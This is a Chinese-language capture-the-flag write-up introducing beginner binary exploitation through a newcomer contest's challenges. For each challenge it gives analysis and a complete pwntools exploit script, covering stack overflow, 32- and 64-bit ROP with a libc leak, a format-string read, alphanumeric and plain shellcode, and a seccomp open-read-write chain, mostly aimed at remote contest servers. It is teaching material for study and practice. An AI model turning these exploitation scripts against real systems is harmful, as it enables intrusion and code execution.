從某新生賽入門PWN

本文為看雪論壇優秀文章
看雪論壇作者ID:bad_c0de
在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。
賽題
ezcmp
賽題分析
該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。
#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt(char *buf){ int a; for(int i=0;i<29;i++){ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for(int j=29;j>=0;j--){ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=((bua[i]^0x30)*(buffff[i]>>2)&1)&0xff; buf[i]+=(a%buff[i])&0xff; }}int main(){ setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); puts("GDB-pwndbg maybe useful"); char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy(buff,buf); char test[30]; int v0=1; srand(v0); enccrypt(buff); read(0,test,30); if(!strncmp(buff,test,30)){ system("/bin/sh"); } else { puts("Oh No!You lose!!!"); exit(0); } return; }

因此在0x4014b4處下斷點,查看buff的值即可,將buff的值發送即可。(注意小端模式)

exp
from pwn import *context.log_level='debug'#io=process('./ezcmp')io=remote('43.143.7.97',28931)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'\x72\x40\x0e\xdc\xaa\x78\x46\x14\xe2\xb0\x7e\x4c\x1a\xe8\xb6\x84\x52\x20\xee\xbc\x8a\x58\x26\xf4\xc2\x90\x5e\x2c\xcb\xc8')shell()
ezr0p32
賽題分析
查看該程序保護:

開了NX,NX即No-execute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。 隨著 NX 保護的開啟,以往直接向棧或者堆上直接注入代碼的方式難以繼續發揮效果。所以就有了各種繞過辦法,rop就是一種,根據題目名稱可以知道該題目即需要通過rop繞過。
ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。我們可以發現棧溢出的控制點是ret處,那么ROP的核心思想就是利用以ret結尾的指令序列把棧中的應該返回EIP的地址更改成我們需要的值,從而控制程序的執行流程。使指令被執行時都處于可執行區域,通過多個指令拼接起到shellcode的作用。
IDA打開該程序進行分析,可以發現該程序的漏洞點位于dofunc處:

在第二個read處存在著棧溢出,溢出長度為0x30-0x1c=0x14,因此在覆蓋了ebp之后還存在0x10的溢出長度。
因此可以通過system('/bin/sh\x00')來getshell。在32位程序中函數的參數保存在棧中,因此直接在ret處覆蓋為call system函數的地址即可,而在其后存放/bin/sh的地址即可。
我們可以發現在該程序找到call system,但是找不到/bin/sh。此時發現在溢出前面還存在一個read,并且讀入的地址是bss段,因此我們可以通過第一個read將/bin/sh讀入bss。(如果是將ret地址覆蓋為system函數地址的話,需要在system后面隨意加一個4字節數作為system函數的返回地址后再加/bin/sh;而在call system時它會進行push eip+4的操作將返回地址壓入棧中)

exp
from pwn import *context.log_level='debug'#io=process('./ezr0p')io=remote('1.14.71.254',28637)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'/bin/sh')rl()payload=b'a'*0x20+p32(0x08048562)+p32(0x0804A080)sl(payload)shell()
ezr0p64
賽題分析
查看保護

同理可以通過rop進行繞過。IDA打開程序進行分析:

發現程序中既沒有system,也沒有/bin/sh,但是我們發現程序在vuln函數中給出了我們puts函數的地址。因此我們可以通過獲取puts函數的地址來取得libc的基址。這是因為所有函數地址都在libc中,其中libc中也包括著/bin/sh,而各個函數或者字符的相對偏移是不變的。因此獲取到libc的基址后我們根據相對偏移就可以獲取到system函數的地址和/bin/sh的地址。
但是在64位程序中還需要注意函數的參數是通過rdi,rsi,rdx,rcx,r8,r9這6個寄存器進行存儲。而system函數的參數只要一個,即通過rdi進行存儲,因此我們可以通過pop rdi,ret來構造system的參數。
exp
from pwn import *from LibcSearcher import *context.log_level='debug'#io=process('./ezrop64')elf=ELF('./ezrop64')libc=ELF('./libc.so.6')puts_got=elf.got['puts']puts_plt=elf.plt['puts']printf_got=elf.got['printf']io=remote('1.14.71.254',28658)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()ru(b'Gift :')puts_addr=int(r(14)[:],16)baseadd=puts_addr-libc.symbols['puts']print(hex(baseadd))system=baseadd+libc.symbols['system']print(hex(system))binsh=baseadd+libc.search(b'/bin/sh').__next__()print(hex(binsh))payload=b'a'*0x108+p64(0x4012a3)+p64(binsh)+p64(0x40101a)+p64(system)ru('Start your rop.')sl(payload)shell()
ezfmt
賽題分析
該程序的c代碼如下,它先讀取入了flag文件,然后將該值賦給了pointer。而在最后的printf函數中存在著格式化字符串漏洞。
#includechar name[0x30];int key;int main(){ setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); puts("Welcome to the world of fmtstr"); puts("> "); int fd=open("flag",0); if(fd==-1){ perror("Open failed."); } read(fd,name,0x30); size_t *pointer=&name; char buf[0x100]; puts("Input your format string."); read(0,buf,0x100); puts("Ok."); printf(buf);}
格式化字符串漏洞主要是因為printf不會檢查格式化字符串中的占位符是否與所給的參數數目相等。而在printf輸出的過程中,每遇到一個占位符,就會到“約定好”的位置獲取數據并根據該占位符的類型解碼并輸出。因此我們可以通過輸入惡意構造的格式化字符串來實現任意地址寫,任意地址讀。
但是首先我們需要知道我們現在的格式化字符串的位置,這可以通過多個%p來獲取。

在該程序中,我們可以發現第六個%p處輸出了我們最先輸入的aaaaaaaa。因此我們輸入的格式化字符串處于第六個位置。而在任意地址讀寫時需要注意的是printf函數遇到\x00時會被截斷,因此地址這些參數都需要放在最后面。除此之外,我們還需要保證格式化字符串與棧對齊,否則相應對應的地址無法正確解析。
exp
from pwn import *context.log_level='debug'#io=process('./ezfmt')io=remote('43.143.7.97',28705)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()rl()rl()payload=b'%7$s....'+p64(0x4040a0)s(payload)rl()
safe_shellcode
賽題分析
該程序的c代碼如下,可以發現我們需要輸入的指令的每個字符都處于‘0’~‘z’中,這樣才會執行我們輸入的指令。
#includechar buff[0x200];int main(){ setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7); char buf[0x200]; memset(buf,0,0x200); read(0,buf,0x300); for(int i=0;i<strlen(buf);i++){ if(buf[i]<'0'||buf[i]>'z'){ puts("Hacker!!!"); exit(0); } } strcpy(buff,buf); ((void (*)(void))buff)(); return 0;}
通過構造syscall執行read讀入無限制shellcode。
exp
from pwn import * context(log_level='debug',arch='amd64',os='linux') io=process('./shellcoder')attach(io)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()pause()shellcode=''' push rax pop rsi push 0x40404040 pop rax xor rax,0x40404040 push rax pop rdi push 0x40404040 pop rax xor rax,0x40404141 push rax pop rdx push 0x40404040 pop rax xor rax,0x40404040 push 0x60604040 pop rcx xor dword ptr[rsi+0x33],ecx '''s(asm(shellcode)+b'\x4f\x45\x30\x30')payload=b'a'*0x35+asm(shellcraft.sh())sl(payload)shell()
ret2shellcode
賽題分析
該程序c代碼如下:
#includechar buff[256];int main(){ setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7); char buf[256]; memset(buf,0,0x100); read(0,buf,0x110); strcpy(buff,buf); return 0;}
可以知道該程序開辟了一段長度為0x1000的可讀可寫可執行的區域。
并且在read 函數處存在棧溢出,并且會把我們的輸入復制給可執行的區域,因此我們在讀取最開始處寫入shellcode;然后再覆蓋返回地址為buff的地址處即可。
exp
from pwn import *context.log_level='debug'context(os='linux', arch='amd64', log_level='debug')#io=process('./shellcode')io=remote('43.143.7.97',28497)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()payload=asm(shellcraft.sh())sl(payload.ljust(0x108,b'\x00')+p64(0x4040a0))shell()
easy_overflow
賽題分析
該程序代碼如下,可以發現為最簡單的棧溢出,只要覆蓋number的值使其不為0即可。
#includeint main(){ setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); puts("Input something"); char name[30]; int number=0; gets(name); if(number!=0){ puts("You win."); system("cat flag"); } return 0;
exp
直接輸入一大串字符即可。
arrayRE
賽題分析
IDA打開分析,發現是簡單的逆向分析,需要確保輸入的24數字經過運算之后與s2一致。因為計算比較簡單,而且必須都是數字,因此我們可以直接在0-9中進行爆破即可,滿足條件的即是正確的值。


exp
#!/usr/bin/env python# -*- encoding: utf-8 -*-from pwn import *from LibcSearcher import *context(log_level='debug',arch='amd64',os='linux')io=process('./arrayRE')#io=remote('43.143.7.97',28126)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()a='831654239123423452610584'flag='8'def decode(a1,a2): return (35*(a1-48)+18*(a2-48)+2)%10for i in range(len(a)-1): for j in range(10): if (decode(ord(a[i]),i+ord(a[i]))+int(j)+3)%10+48==ord(a[i+1]): flag+=str(j) breakprint(flag)rl()rl()sl(b'aaa')ru(b'password:')sl(flag)shell()
intorw
賽題分析
先看程序保護:

ida打開分析,可以發現該程序存在seccomp沙箱,即限制了可用的系統調用。

通過seccomp-tools進行分析,可以發現該程序只允許通過系統調用open,read,write三個函數。因此我們無法getshell,但是可以通過open('flag',0),read(fd,bss,length),write(1,bss,length)或者puts(bss)來進行泄露函數。

繼續分析程序,可以發現在vuln函數中存在整數溢出,在進行比較時v2為int類型,但是經過bitchange轉換后會變成無符號整數,因此輸入一個負數會轉變成一個極大的正數造成溢出。

而且flag字符可以在程序中找到。

造成溢出后我們就可以通過構造rop鏈來實現orw。但是我們發現在該處并沒有給rdx賦值的gadget,此時有兩個思路,一個是利用ret2csu,一個是利用libc中間的gadget。ret2csu會在下一題講到,因此在這里用的是libc中的gadget。

由于程序開啟了full relro,因此要利用orw的話要先泄露libc基址以便于利用open函數與libc中的gadget。
所以此題流程為先利用puts函數泄露puts函數地址,然后再劫持控制流返回到main函數再次造成溢出,在此構造rop鏈來達成orw。
exp
#!/usr/bin/env python# -*- encoding: utf-8 -*-from pwn import *from LibcSearcher import *context(log_level='debug',arch='amd64',os='linux')elf=ELF('./intorw')libc=ELF('./libc.so.6')io=process('./intorw')io=remote('43.143.7.97',28254)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'-1000')read_plt=elf.plt['read']pop_addr=0x0400ACAmov_addr=0x00400AB0puts_plt=elf.plt['puts']puts_got=elf.got['puts']bss=0x6010E0pop_rdi=0x400ad3payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4009C4)rl()sl(payload)puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))libc_base=puts_addr-libc.sym['puts']pop_rsi=0x2be51+libc_basepop_rdx_r12=0x11f497+libc_baseprint(hex(libc_base))opEn=libc_base+libc.sym['open']write=libc_base+libc.sym['write']rl()rl()sl(b'-100')rl()payload=b'a'*0x28+p64(pop_rdi)+p64(0x601046)+p64(pop_rsi)+p64(0)+p64(opEn)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x601000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(read_plt)+p64(pop_rdi)+p64(0x601000)+p64(puts_plt)sl(payload)rl()
鏈接:https://pan.baidu.com/s/1wB9peKp2BL8h2tmjruPqlQ
提取碼:f4tw